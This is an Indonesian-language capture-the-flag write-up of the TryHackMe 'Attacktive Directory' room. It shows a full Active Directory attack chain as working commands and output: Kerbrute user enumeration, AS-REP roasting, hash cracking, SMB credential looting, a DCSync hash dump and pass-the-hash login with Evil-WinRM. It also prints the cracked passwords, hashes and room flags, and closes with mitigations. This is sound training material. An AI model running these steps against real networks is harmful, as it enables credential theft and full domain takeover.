TryHackMe-AD:Attacktive Directory

WRITE-UP

PERTEMUAN 8

Platform: TryHackMe

Room: AD-Attacktive Directory

Link: https://tryhackme.com/room/attacktivedirectory

Difficult: Medium

Muhamad Rizki Maulana

1. Informasi Target

IP Address	10.49.159.74 / 10.48.183.133
Domain	Spookysec.local
Hostname	AttactiveDirectory.spookyspec.local
NetBIOS Domain	THM-AD
OS	Windows Server 2009 (build 10.0.17763)

2. Gambaran Umum
   - Enumeration – nmap scan, enum4linux
   - Kerbrute – Username enumeration via Kerberos
   - ASREPRoasting – Dump hash user tanpa pre-auth
   - Hash Cracking – John the ripper crack hash Kerberos
   - SMB Enumeration – akses share backup dengan credentials
   - DCSync Attack – Dump semua NTLM has via impacket-secretsdump
   - Pass-the-hash – login sebagai administrator via Evil-WinRM
3. Langkah – langkah pengerjaan

   3.1 Enumeration

   Langkah pertama adalah melakukan reconnaissance terhadap target untuk mengetahui service apa saja berjalan, khususnya service yang berkaitan dengan Active Directory.

   Nmap scan:

   ```
   nmap -sV -sC -A -p- 10.49.159.74
   ```

   Port-port penting yang ditemukan:

   - Port 88 (Kerberos) – Mengkonfirmasi ini adalah Domain Controller
   - Port 389/636 (LDAP/LDAPS – Active Directory LDAP
   - Port 445 (SMB) – File sharing
   - Port 3389 (RDP) Remote desktop
   - Port 5985 (WinRm) – Windows Remote Management

Enum4linux:

```
enum4linux -a 10.49.159.74
```

Hasil enum4linux menemukan NetBIOS Domain Name: THM-AD dan domain: spookysec.local

3.2 Username Enumeration dengan Kerbrute

Kerbrute digunakan untuk melakukan brute force username yang valid di domain menggunakan protokol Kerberos. Kerberos memberikan respon berbeda untuk username valid dan tidak valid.

Contoh:

```
kerbrute userenum --dc 10.49.159.74 -d spookysec.local ~/userlist.txt
```

Valid usernames yang ditemukan:

- James, svc-admin, robin, darkstar, administrator
- Backup, paradox, ori

Total 16 valid username dari 73,317 yang di uji.

3.3 ASREPRoasting

ASREPRoasting menyerang akun yang memiliki tag 'Do Not require Kebertos preauthentication' (UD_DONT_REQUIRE_PREAUTH). Akun ini bisa di query tanpa password dan mengembalikan hash yang bisa di crack offline.

Contoh:

```
impacket-GetNPUsers spookysec.local/svc-admin -no-pass -dc-ip 10.49.159.74
```

Hasilnya svc-admin Vulnerable! Hash berhasil didapatkan:

```
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:3ddf17806462e1071664299838272a91$...
```

3.4 SMB Enumeration

Dengan credentials svc-admin, kita bisa enumerate SMB share pada Domain Controller.

Contoh:

```
smbclient -L //10.49.159.74 -U spookysec.local/svc-admin%management2005
```

Share yang ditemukan ada 6 (total): ADMIN$, backup, C$, IPC$, NETLOGON, SYSVOL.

Share backup adalah yang paling menarik. Akses dan download file dengan cara:

```
smbclient //10.49.159.74/backup -U spookysec.local/svc-admin%management2005
smb: \> get backup_credentials.txt
```

Isi file backup_credentials.txt adalah string Base64:

```
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
```

Decode Base:

```
echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d
backup@spookysec.local:backup2517860
```

3.5 Hash Cracking dengan Jhon The Ripper

Hash Kerberos AS-REP (mode 18200 di hashcat) berhasil di crack menggunakan Jhon The Ripper dengan worldlist yang disediakan. Hashcat gagal karena keterbatasan memory VM.

Contoh kode:

```
john --wordlist=~/passwordlist.txt ~/hash.txt
john --show ~/hash.txt
```

Password berhasil ditemukan, yaitu:

```
management2005   ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
```

3.6 DCSync Attack

Akun 'backup' memiliki permission'Replicating Directory Changes' yang digunakan untuk sinkronisasi AD. Kita eksploitasi permission ini untuk melakukan DCSync dengan meminta DC untuk merelikasi semua password hash.

Contoh kode:

```
impacket-secretsdump spookysec.local/backup:backup2517860@10.48.183.113
```

Hasil DCSync semua NTLM hash berhasil di dump:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\svc-admin:1114:...:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:...:19741bde08e135f4b40f1ca9aab45538:::
```

3.7 Pass the Hash dengan Evil-WinRM

Dengan NTLM hash administrator, kita tidak perlu crack passwordnya. Kita bisa langsung authenricate menggunakan Teknik Pass-The-Hash via Evil-WinRM.

Contoh kode:

```
evil-winrm -i 10.48.183.113 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
```

Berhasil mendapatkan shell sebagai administrator dan mengambil semua flag:

```
type C:\Users\svc-admin\Desktop\user.txt.txt
type C:\Users\backup\Desktop\PrivEsc.txt
type C:\Users\Administrator\Desktop\root.txt
```

3.8 Flags

User	Password/Hash	Flag
Svc-admin	Management2005	TryHackMe{K3rb3r0s_Pr3_4uth}
Backup	Backup2517860	TryHackMe{B4ckM3UpSc0tty!}
Administrator	0e0363213e37b94221497260b0bcb4fc	TryHackMe{4ctiveD1rectoryM4st3r}

4. Kesimpulan

Room Attactive Directory mendemonstrasikan attack chain Active Directory yang realistis dan sering ditemukan di real world penetration testing seperti:

- ASREPRoasting efektif terhadap akun yang menonaktifkan Kerberis pre-authentication
- Credentials yang tersimpan di SMB share tanpa enkripsi sangat berbahaya
- Akun backup dengan hak DCSync sama berbahayanya dengan Domain Admin
- Pass-the-hash memungkinkan lateral movement tanpa perlu crack password

Mitigasi yang direkomendasikan:

- Aktifkan kerberos pre-authentication untuk semua akun
- Audit permissions akun service, terutama hak replikasi AD
- Simpan credentials terenkripsi, jangan di plaintext/base64
- Monitor event ID 4662 (DCSync) dan 4624 (logon events)